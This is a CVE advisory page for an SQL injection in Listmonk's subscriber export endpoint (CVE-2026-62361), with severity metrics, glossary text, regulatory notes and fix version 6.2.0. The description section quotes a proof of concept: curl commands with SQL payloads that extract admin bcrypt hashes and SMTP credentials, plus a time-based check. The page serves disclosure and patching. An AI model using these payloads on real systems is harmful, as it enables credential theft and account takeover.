MediumCVE-2026-62361

    Knadh Listmonk: SQL Injection (CVE-2026-62361)

    Published Last modified Sources: CVE.org, Hersteller

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    What is affected, what to do

    Update Knadh Listmonk to version 6.2.0.

    Affected
    • Knadh Listmonk lt *..6.2.0
    Fixed in
    • Knadh Listmonk 6.2.0

    Not sure whether and how you are affected? Ask a question about this vulnerability

    Metrics

    5.5

    Priority

    XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.

    Source: NVD, CVSS v3

    5.5

    CVSS v3

    Severity Medium on the scale from 0 to 10.

    Source: CVE.org, Hersteller

    0.3 %

    EPSS score

    Low — model estimates < 1% exploitation likelihood.

    Source: FIRST EPSS, percentile 22.5

    Show all metrics
    Severity
    Medium
    Priority (0–325)

    The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?

    Read in glossary
    51.80 Methodology
    Exploit maturity

    An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.

    Read in glossary
    no public PoC known
    XIEM Effective CVSS

    XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.

    Read in glossary
    5.5 Methodology
    CVSS v3

    CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.

    Read in glossary
    5.5
    EPSS score

    The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.

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    0.3 %
    Low — model estimates < 1% exploitation likelihood.
    EPSS percentile

    The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.

    Read in glossary
    22.5
    Elevated — this CVE ranks above at least 10% of all CVEs scored today.
    KEV status

    The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.

    Read in glossary
    —
    Published
    CISA assessment (SSVC)
    Exploitation: proof of concept · not automatable · Technical impact: partial
    Source: CISA Vulnrichment, as of 16 July 2026
    CWE

    CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.

    Read in glossary
    CWE-89

    Detection rules

    No NEOSEC detection rule is available for this vulnerability yet.

    Classification under NIS2 and CRA

    Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.

    NIS2

    NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.

    Read in glossary
    Handle the vulnerability in regular vulnerability handling under Art. 21(2)(e) NIS2.
    CRA

    The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.

    Read in glossary
    From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
    ISO/IEC 27001

    ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.

    Read in glossary
    Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.

    Description

    Summary

    A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.


    Details

    The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.

    internal/core/subscribers.go — protected path (regular query):

    // QuerySubscribers — table validation present
    stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond)
    if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
        return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
            fmt.Sprintf("Error preparing subscriber query: %v", err))
    }
    

    internal/core/subscribers.go — vulnerable path (export):

    // ExportSubscribers — NO table validation
    stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
    tx, err := c.db.Preparex(stmt)  // executes directly without restriction
    

    queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:

    SELECT subscribers.id, subscribers.email, ...
    FROM subscribers
    LEFT JOIN subscriber_lists ON ...
    WHERE (subscribers.status != 'blocklisted') AND %query%
    ORDER BY subscribers.id ASC LIMIT ...
    

    Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.


    PoC

    Prerequisites: Authenticated session with subscribers:sql_query and subscribers:get_all permissions.

    Step 1 — Confirm the bypass (blocked on query, open on export):

    # Blocked on regular endpoint:
    curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
      -H "Cookie: session=SESSION_TOKEN"
    # → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}
    
    # Bypassed on export endpoint:
    curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
      -H "Cookie: session=SESSION_TOKEN"
    # → HTTP 200: returns subscriber rows with no error
    

    Step 2 — Error-based exfiltration of admin password hash:

    curl -s "http://TARGET:9000/api/subscribers/export?\
    query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
      -H "Cookie: session=SESSION_TOKEN"
    

    Response:

    {
      "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
    }
    

    Step 3 — Error-based exfiltration of SMTP credentials:

    curl -s "http://TARGET:9000/api/subscribers/export?\
    query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
      -H "Cookie: session=SESSION_TOKEN"
    

    Response:

    {
      "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
    }
    

    Step 4 — Time-based blind confirmation:

    time curl -s "http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL" \
      -H "Cookie: session=SESSION_TOKEN"
    # Returns after ~3 seconds — confirms arbitrary SQL function execution
    

    Impact

    This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the subscribers:sql_query permission can:

    • Read bcrypt password hashes of all admin accounts (including Super Admin)
    • Extract SMTP credentials, API keys, and all values stored in the settings table
    • Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover
    • Execute data-modifying SQL via PostgreSQL CTEs (write impact)

    Attack chain: subscribers:sql_query → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.

    This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies validateQueryTables to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.

    Source: cvelistv5, NVD (NIST), CVE.org (MITRE), GitHub Security Advisories

    Affected products

    The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.

    Affected products
    Affected versionsFixed in
    knadhlistmonk
    • < 6.2.0
    • 6.2.0
    gogithub.com/knadh/listmonk
    • < 1.1.1-0.20260619102436-c0a6525009a6
    • 1.1.1-0.20260619102436-c0a6525009a6

    Vendors and products

    Weakness classes (CWE)

    • CWE-89Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

      Base

      The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

      Entry at MITRE CWE-89

    References & sources

    • github.comknadh/listmonk/security/advisories/GHSA-xgjr-7j9q-2h4rx_refsource_CONFIRM
    • github.comknadh/listmonk/commit/c0a6525009a65265230185f16e8674dcc83aa024x_refsource_MISC
    • github.comknadh/listmonk/releases/tag/v6.2.0x_refsource_MISC

    Changes to this CVE

    Who changed this CVE and when: NVD (analysis, affected products, CVSS), the CVE publisher (CNA) and additional providers such as CISA (ADP).

    One NVD translation into another language is hidden.

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